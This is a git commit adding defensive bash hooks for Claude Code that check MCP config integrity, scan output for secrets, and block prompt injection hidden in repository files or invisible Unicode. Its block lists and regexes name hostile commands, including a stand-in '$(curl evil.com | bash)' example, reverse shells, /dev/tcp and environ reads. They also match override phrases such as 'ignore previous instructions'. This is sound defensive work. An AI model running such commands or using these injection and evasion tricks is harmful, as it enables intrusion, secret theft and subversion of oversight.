feat(security): add security hardening guide and hooks v3.6.0

- Add guide/security-hardening.md (~10K) covering:
  - MCP vetting workflow with CVE-2025-53109/53110, 54135, 54136
  - Prompt injection evasion techniques (Unicode, ANSI, null bytes)
  - Secret detection tool comparison (Gitleaks, TruffleHog, GitGuardian)
  - Incident response procedures

- Add 3 new security hooks:
  - unicode-injection-scanner.sh: zero-width, RTL, ANSI escape detection
  - repo-integrity-scanner.sh: scan README/package.json for injection
  - mcp-config-integrity.sh: verify MCP config hash

- Update existing hooks:
  - prompt-injection-detector.sh: +ANSI, +null bytes, +nested cmd
  - output-secrets-scanner.sh: +env leakage, +generic tokens

- Update cross-references in ultimate-guide.md (§7.4, §8.6)
- Move MCP Security Hardening to Done in IDEAS.md

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
This commit is contained in:
Florian BRUNIAUX 2026-01-15 07:39:53 +01:00
parent 55a9fa34cf
commit 34b2ca7200
12 changed files with 986 additions and 22 deletions

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@ -0,0 +1,118 @@
#!/bin/bash
# =============================================================================
# MCP Config Integrity Hook
# =============================================================================
# Event: SessionStart (runs when Claude Code session begins)
# Purpose: Verify MCP configuration has not been tampered with
#
# This hook addresses CVE-2025-54135 and CVE-2025-54136 by:
# - Computing hash of ~/.claude/mcp.json
# - Comparing against stored baseline
# - Alerting on unauthorized modifications
# - Checking project-level .mcp.json for suspicious content
#
# Installation:
# Add to .claude/settings.json:
# {
# "hooks": {
# "SessionStart": [
# "bash examples/hooks/bash/mcp-config-integrity.sh"
# ]
# }
# }
#
# Initial setup (run once to create baseline):
# sha256sum ~/.claude/mcp.json > ~/.claude/.mcp-baseline.sha256
#
# Exit codes:
# 0 = allow (config unchanged or no baseline)
# Non-zero outputs systemMessage warnings
#
# References:
# - CVE-2025-54135: RCE in Cursor via prompt injection rewriting mcp.json
# - CVE-2025-54136: Persistent team backdoor via post-approval config tampering
# =============================================================================
set -euo pipefail
# Configuration paths
MCP_CONFIG="${HOME}/.claude/mcp.json"
MCP_BASELINE="${HOME}/.claude/.mcp-baseline.sha256"
PROJECT_MCP=".mcp.json"
WARNINGS=()
# === GLOBAL MCP CONFIG CHECK ===
if [[ -f "$MCP_CONFIG" ]]; then
# Check if baseline exists
if [[ -f "$MCP_BASELINE" ]]; then
# Compute current hash
CURRENT_HASH=$(sha256sum "$MCP_CONFIG" 2>/dev/null | awk '{print $1}')
BASELINE_HASH=$(awk '{print $1}' "$MCP_BASELINE" 2>/dev/null || echo "")
if [[ -n "$CURRENT_HASH" && -n "$BASELINE_HASH" && "$CURRENT_HASH" != "$BASELINE_HASH" ]]; then
WARNINGS+=("MCP config modified since baseline was created. Review ~/.claude/mcp.json for unauthorized changes. Run 'sha256sum ~/.claude/mcp.json > ~/.claude/.mcp-baseline.sha256' to update baseline if changes are legitimate.")
fi
else
# No baseline - suggest creating one
WARNINGS+=("No MCP config baseline found. Consider running: sha256sum ~/.claude/mcp.json > ~/.claude/.mcp-baseline.sha256")
fi
# === CHECK FOR SUSPICIOUS MCP SERVERS ===
# Look for known risky patterns
MCP_CONTENT=$(cat "$MCP_CONFIG" 2>/dev/null || echo "{}")
# Check for dangerous flags
if echo "$MCP_CONTENT" | grep -qiE '"--dangerous|"--allow-write|"--no-sandbox'; then
WARNINGS+=("MCP config contains dangerous flags (--dangerous, --allow-write, or --no-sandbox). Review carefully.")
fi
# Check for unpinned versions (using @latest or no version)
if echo "$MCP_CONTENT" | grep -qE '"[^"]*@latest"|"npx"[^}]*"-y"[^}]*"[^@"]+\"'; then
WARNINGS+=("MCP config may contain unpinned versions (@latest or missing version). Pin to specific versions for security.")
fi
# Check for suspicious environment variables
if echo "$MCP_CONTENT" | grep -qiE '"env"[^}]*"(PASSWORD|SECRET|TOKEN|API_KEY|PRIVATE_KEY)"'; then
WARNINGS+=("MCP config contains potentially sensitive environment variables. Ensure these are not hardcoded secrets.")
fi
# Check for external URLs in commands
if echo "$MCP_CONTENT" | grep -qE 'https?://[^"]+' | grep -vE 'npm|github|registry'; then
WARNINGS+=("MCP config references external URLs. Verify these are trusted sources.")
fi
fi
# === PROJECT-LEVEL MCP CONFIG CHECK ===
if [[ -f "$PROJECT_MCP" ]]; then
PROJECT_MCP_CONTENT=$(cat "$PROJECT_MCP" 2>/dev/null || echo "{}")
# Check for dangerous flags in project config
if echo "$PROJECT_MCP_CONTENT" | grep -qiE '"--dangerous|"--allow-write|"--no-sandbox'; then
WARNINGS+=("Project .mcp.json contains dangerous flags. This could be a supply chain attack.")
fi
# Check for shell injection patterns
if echo "$PROJECT_MCP_CONTENT" | grep -qE '\$\(|`[^`]+`|&&|\|\|'; then
WARNINGS+=("Project .mcp.json contains shell metacharacters. Review for command injection.")
fi
# Check for base64-encoded content
if echo "$PROJECT_MCP_CONTENT" | grep -qE '[A-Za-z0-9+/]{40,}={0,2}'; then
WARNINGS+=("Project .mcp.json contains base64-like content. This could hide malicious payloads.")
fi
fi
# === OUTPUT WARNINGS ===
if [[ ${#WARNINGS[@]} -gt 0 ]]; then
WARNING_MSG=""
for warning in "${WARNINGS[@]}"; do
WARNING_MSG="${WARNING_MSG}⚠️ ${warning} "
done
# Output as systemMessage
echo "{\"systemMessage\": \"MCP INTEGRITY CHECK: ${WARNING_MSG}\"}"
fi
# Always exit 0 (warn, don't block session start)
exit 0

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@ -52,6 +52,8 @@ declare -A SECRET_PATTERNS=(
["Stripe Key"]="(sk|pk)_(live|test)_[0-9a-zA-Z]{24,}"
["Twilio Key"]="SK[a-f0-9]{32}"
["SendGrid Key"]="SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}"
["Slack Token"]="xox[baprs]-[0-9a-zA-Z-]{10,}"
["Discord Token"]="[MN][A-Za-z0-9]{23,}\.[A-Za-z0-9-_]{6}\.[A-Za-z0-9-_]{27}"
# Tokens
["GitHub Token"]="(ghp|gho|ghu|ghs|ghr)_[a-zA-Z0-9]{36,}"
@ -59,6 +61,7 @@ declare -A SECRET_PATTERNS=(
["NPM Token"]="npm_[a-zA-Z0-9]{36}"
["PyPI Token"]="pypi-[a-zA-Z0-9_-]{50,}"
["JWT Token"]="eyJ[a-zA-Z0-9_-]*\.eyJ[a-zA-Z0-9_-]*\.[a-zA-Z0-9_-]*"
["Heroku API Key"]="[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}"
# Private Keys
["Private Key"]="-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----"
@ -68,9 +71,15 @@ declare -A SECRET_PATTERNS=(
["Database URL with Password"]="(postgres|mysql|mongodb)://[^:]+:[^@]+@"
["Redis URL with Password"]="redis://:[^@]+@"
# Generic
# Generic (58% of leaked secrets are "generic" - GitGuardian 2025)
["Generic API Key"]="(api[_-]?key|apikey|api[_-]?secret)['\"]?\s*[:=]\s*['\"]?[a-zA-Z0-9_-]{20,}"
["Generic Secret"]="(secret|password|passwd|pwd)['\"]?\s*[:=]\s*['\"]?[^\s'\"]{8,}"
["Generic Token"]="(token|auth[_-]?token|access[_-]?token|bearer)['\"]?\s*[:=]\s*['\"]?[a-zA-Z0-9_-]{20,}"
["Private Key Inline"]="['\"]?-----BEGIN[^-]+PRIVATE KEY-----"
# Environment Variable Leakage
["Env Dump Command"]="^(env|printenv|set)$"
["Proc Environ Access"]="/proc/self/environ|/proc/[0-9]+/environ"
)
DETECTED_SECRETS=()

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@ -159,6 +159,38 @@ if echo "$CONTENT" | grep -qE '[A-Za-z0-9+/]{50,}={0,2}'; then
done
fi
# === ANSI ESCAPE SEQUENCES ===
# Terminal manipulation via escape codes (CVE-related)
# \x1b[ CSI, \x1b] OSC, \x1b( charset selection
if echo "$CONTENT" | grep -qE $'\x1b\[|\x1b\]|\x1b\('; then
echo "BLOCKED: ANSI escape sequence detected - potential terminal injection" >&2
exit 2
fi
# === NULL BYTE INJECTION ===
# Null bytes can truncate strings and bypass security checks
if echo "$CONTENT" | grep -qP '\x00'; then
echo "BLOCKED: Null byte detected - potential truncation attack" >&2
exit 2
fi
# === NESTED COMMAND EXECUTION ===
# Detect $() and backtick command substitution that could bypass denylists
# This catches patterns like: $(curl evil.com | bash) or `rm -rf /`
NESTED_CMD_PATTERNS=(
'\$\([^)]*\b(curl|wget|bash|sh|nc|python|ruby|perl|php)\b'
'`[^`]*\b(curl|wget|bash|sh|nc|python|ruby|perl|php)\b'
'\$\([^)]*\b(rm|dd|mkfs|chmod|chown)\b'
'`[^`]*\b(rm|dd|mkfs|chmod|chown)\b'
)
for pattern in "${NESTED_CMD_PATTERNS[@]}"; do
if echo "$CONTENT" | grep -qE "$pattern"; then
echo "BLOCKED: Nested command execution detected - potential bypass attempt" >&2
exit 2
fi
done
# === CONTEXT MANIPULATION ===
# Attempts to manipulate the conversation context
CONTEXT_PATTERNS=(

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#!/bin/bash
# =============================================================================
# Repository Integrity Scanner Hook
# =============================================================================
# Event: PreToolUse (runs before Read on potentially malicious files)
# Purpose: Scan repository files for injection vectors before processing
#
# This hook detects prompt injection attempts hidden in:
# - README.md, SECURITY.md (hidden HTML comments)
# - package.json, pyproject.toml (malicious scripts)
# - .claude/, .cursor/ configs (tampered configurations)
# - CONTRIBUTING.md (social engineering instructions)
#
# Installation:
# Add to .claude/settings.json:
# {
# "hooks": {
# "PreToolUse": [{
# "matcher": "Read",
# "hooks": ["bash examples/hooks/bash/repo-integrity-scanner.sh"]
# }]
# }
# }
#
# Exit codes:
# 0 = allow (safe or not a target file)
# 2 = block (injection detected)
#
# References:
# - CVE-2025-54135: RCE via config file rewriting
# - CVE-2025-54136: Team backdoor via post-approval config tampering
# =============================================================================
set -euo pipefail
# Read the hook input from stdin
INPUT=$(cat)
TOOL_NAME=$(echo "$INPUT" | jq -r '.tool_name // empty')
TOOL_INPUT=$(echo "$INPUT" | jq -r '.tool_input // empty')
# Only check Read operations
[[ "$TOOL_NAME" != "Read" ]] && exit 0
FILE_PATH=$(echo "$TOOL_INPUT" | jq -r '.file_path // empty')
[[ -z "$FILE_PATH" ]] && exit 0
# Check if file exists
[[ ! -f "$FILE_PATH" ]] && exit 0
FILENAME=$(basename "$FILE_PATH")
DIRNAME=$(dirname "$FILE_PATH")
# === HIGH-RISK FILES ===
# These files are common injection vectors
HIGH_RISK_FILES=(
"README.md"
"readme.md"
"SECURITY.md"
"CONTRIBUTING.md"
"CHANGELOG.md"
)
# === CONFIG FILES ===
# Configuration files that could contain malicious settings
CONFIG_FILES=(
"package.json"
"pyproject.toml"
"setup.py"
"setup.cfg"
"Makefile"
".pre-commit-config.yaml"
)
# === CLAUDE/CURSOR CONFIG ===
# IDE config files that could be tampered
IDE_CONFIG_PATTERNS=(
".claude"
".cursor"
".vscode"
".idea"
)
# Function to check for injection patterns
check_injection_patterns() {
local file="$1"
local content
content=$(cat "$file" 2>/dev/null || echo "")
# === HIDDEN HTML COMMENTS ===
# Look for HTML comments with instruction-like content
if echo "$content" | grep -qiE '<!--.*\b(ignore|override|system|execute|run|eval|inject)\b.*-->'; then
echo "BLOCKED: Hidden HTML comment with suspicious instructions in: $file" >&2
return 1
fi
# === ROLE OVERRIDE PATTERNS ===
if echo "$content" | grep -qiE 'ignore (previous|all|your) instructions|you are now|pretend (you are|to be)|from now on|new instructions:'; then
echo "BLOCKED: Prompt injection pattern detected in: $file" >&2
return 1
fi
# === BASE64 IN COMMENTS ===
# Long base64 strings in comments could be encoded instructions
if echo "$content" | grep -qE '(#|//|<!--).*[A-Za-z0-9+/]{40,}={0,2}'; then
# Try to decode and check for injection
local encoded
encoded=$(echo "$content" | grep -oE '[A-Za-z0-9+/]{40,}={0,2}' | head -1)
local decoded
decoded=$(echo "$encoded" | base64 -d 2>/dev/null || echo "")
if echo "$decoded" | grep -qiE 'ignore|override|system|jailbreak'; then
echo "BLOCKED: Base64-encoded injection detected in: $file" >&2
return 1
fi
fi
return 0
}
# Function to check package.json for suspicious scripts
check_package_json() {
local file="$1"
# Extract scripts section
local scripts
scripts=$(jq -r '.scripts // {} | to_entries[] | "\(.key): \(.value)"' "$file" 2>/dev/null || echo "")
# Suspicious script patterns
SUSPICIOUS_PATTERNS=(
"curl.*|.*bash"
"wget.*|.*sh"
"eval\("
"base64.*-d"
"nc -"
"reverse.*shell"
"/dev/tcp/"
"\\$\\(.*\\)" # Command substitution
)
for pattern in "${SUSPICIOUS_PATTERNS[@]}"; do
if echo "$scripts" | grep -qiE "$pattern"; then
echo "BLOCKED: Suspicious npm script detected in $file: pattern '$pattern'" >&2
return 1
fi
done
return 0
}
# Function to check Python setup files
check_python_setup() {
local file="$1"
local content
content=$(cat "$file" 2>/dev/null || echo "")
# Suspicious patterns in setup files
if echo "$content" | grep -qiE 'os\.system|subprocess\.(run|call|Popen)|exec\(|eval\(|__import__.*os'; then
# Warning only - these could be legitimate
echo '{"systemMessage": "Warning: Python setup file contains code execution patterns. Verify legitimacy before installing."}'
fi
return 0
}
# === MAIN CHECKS ===
# Check high-risk markdown files
for risk_file in "${HIGH_RISK_FILES[@]}"; do
if [[ "$FILENAME" == "$risk_file" ]]; then
check_injection_patterns "$FILE_PATH" || exit 2
break
fi
done
# Check config files
for config_file in "${CONFIG_FILES[@]}"; do
if [[ "$FILENAME" == "$config_file" ]]; then
case "$FILENAME" in
package.json)
check_package_json "$FILE_PATH" || exit 2
;;
pyproject.toml|setup.py|setup.cfg)
check_python_setup "$FILE_PATH" || exit 2
;;
Makefile)
check_injection_patterns "$FILE_PATH" || exit 2
;;
esac
break
fi
done
# Check IDE config directories
for ide_pattern in "${IDE_CONFIG_PATTERNS[@]}"; do
if [[ "$DIRNAME" == *"$ide_pattern"* || "$FILE_PATH" == *"$ide_pattern"* ]]; then
# Extra scrutiny for IDE configs
check_injection_patterns "$FILE_PATH" || exit 2
# Check for suspicious config modifications
if [[ "$FILENAME" == *.json ]]; then
local content
content=$(cat "$FILE_PATH" 2>/dev/null || echo "")
# Look for hooks pointing to external URLs or suspicious commands
if echo "$content" | grep -qiE '"hooks".*"(curl|wget|bash|sh|nc|python|node)'; then
echo "BLOCKED: Suspicious hook command in IDE config: $FILE_PATH" >&2
exit 2
fi
fi
break
fi
done
# All checks passed
exit 0

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@ -0,0 +1,141 @@
#!/bin/bash
# =============================================================================
# Unicode Injection Scanner Hook
# =============================================================================
# Event: PreToolUse (runs before Edit/Write operations)
# Purpose: Detect invisible Unicode characters used for prompt injection
#
# This hook detects evasion techniques that embed invisible instructions:
# - Zero-width characters (U+200B-U+200D, U+FEFF)
# - RTL/LTR override (U+202A-U+202E, U+2066-U+2069)
# - ANSI escape sequences (terminal injection)
# - Null bytes (truncation attacks)
# - Tag characters (U+E0000-U+E007F)
#
# Installation:
# Add to .claude/settings.json:
# {
# "hooks": {
# "PreToolUse": [{
# "matcher": "Edit|Write",
# "hooks": ["bash examples/hooks/bash/unicode-injection-scanner.sh"]
# }]
# }
# }
#
# Exit codes:
# 0 = allow (no injection detected)
# 2 = block (injection detected, stderr message shown to Claude)
#
# References:
# - CVE-2025-53109/53110: Unicode-based sandbox escape
# - Arxiv 2509.22040: Prompt Injection on Coding Assistants
# =============================================================================
set -euo pipefail
# Read the hook input from stdin
INPUT=$(cat)
TOOL_NAME=$(echo "$INPUT" | jq -r '.tool_name // empty')
TOOL_INPUT=$(echo "$INPUT" | jq -r '.tool_input // empty')
# Only check Edit and Write tools
case "$TOOL_NAME" in
Edit|Write)
;;
*)
exit 0
;;
esac
# Extract content to analyze
CONTENT=""
case "$TOOL_NAME" in
Write)
CONTENT=$(echo "$TOOL_INPUT" | jq -r '.content // empty')
;;
Edit)
CONTENT=$(echo "$TOOL_INPUT" | jq -r '.new_string // empty')
;;
esac
# Skip if no content
[[ -z "$CONTENT" ]] && exit 0
# === ZERO-WIDTH CHARACTERS ===
# U+200B Zero Width Space
# U+200C Zero Width Non-Joiner
# U+200D Zero Width Joiner
# U+FEFF Byte Order Mark (when not at start)
if echo "$CONTENT" | grep -qP '[\x{200B}-\x{200D}\x{FEFF}]'; then
echo "BLOCKED: Zero-width characters detected (U+200B-U+200D or BOM). These can hide malicious instructions." >&2
exit 2
fi
# === BIDIRECTIONAL TEXT OVERRIDE ===
# U+202A Left-to-Right Embedding
# U+202B Right-to-Left Embedding
# U+202C Pop Directional Formatting
# U+202D Left-to-Right Override
# U+202E Right-to-Left Override (most dangerous - reverses text display)
# U+2066-U+2069 Isolate controls
if echo "$CONTENT" | grep -qP '[\x{202A}-\x{202E}\x{2066}-\x{2069}]'; then
echo "BLOCKED: Bidirectional text override detected (U+202A-U+202E). These can disguise malicious commands." >&2
exit 2
fi
# === ANSI ESCAPE SEQUENCES ===
# \x1b[ CSI (Control Sequence Introducer) - terminal control
# \x1b] OSC (Operating System Command)
# \x1b( Character set selection
# These can manipulate terminal display or execute commands
if echo "$CONTENT" | grep -qE $'\x1b\[|\x1b\]|\x1b\('; then
echo "BLOCKED: ANSI escape sequence detected. These can manipulate terminal display." >&2
exit 2
fi
# === NULL BYTES ===
# \x00 can truncate strings and bypass security checks
if echo "$CONTENT" | grep -qP '\x00'; then
echo "BLOCKED: Null byte detected. These can cause string truncation attacks." >&2
exit 2
fi
# === TAG CHARACTERS ===
# U+E0000-U+E007F are invisible "tag" characters
# Sometimes used to embed hidden data
if echo "$CONTENT" | grep -qP '[\x{E0000}-\x{E007F}]'; then
echo "BLOCKED: Unicode tag characters detected (U+E0000-E007F). These can embed invisible data." >&2
exit 2
fi
# === OVERLONG UTF-8 SEQUENCES ===
# Detect potential overlong encodings (e.g., encoding '/' as C0 AF instead of 2F)
# These can bypass path filters
# Check for C0 or C1 bytes followed by 80-BF (overlong 2-byte sequences)
if echo "$CONTENT" | grep -qP '[\xC0-\xC1][\x80-\xBF]'; then
echo "BLOCKED: Overlong UTF-8 sequence detected. These can bypass security filters." >&2
exit 2
fi
# === HOMOGLYPHS WARNING ===
# Detect Cyrillic characters that look like Latin (confusables)
# Common in typosquatting and filter bypass
# а (U+0430) vs a, е (U+0435) vs e, о (U+043E) vs o, etc.
HOMOGLYPHS_FOUND=false
if echo "$CONTENT" | grep -qP '[\x{0430}\x{0435}\x{043E}\x{0440}\x{0441}\x{0445}]'; then
HOMOGLYPHS_FOUND=true
fi
if echo "$CONTENT" | grep -qP '[\x{0391}-\x{03C9}]' && echo "$CONTENT" | grep -qP '[a-zA-Z]'; then
# Greek mixed with Latin
HOMOGLYPHS_FOUND=true
fi
if [[ "$HOMOGLYPHS_FOUND" == "true" ]]; then
# Warning only - could be legitimate multilingual content
echo '{"systemMessage": "Warning: Potential homoglyph characters detected (Cyrillic/Greek mixed with Latin). Verify this is not an attempt to bypass filters."}'
fi
# All checks passed
exit 0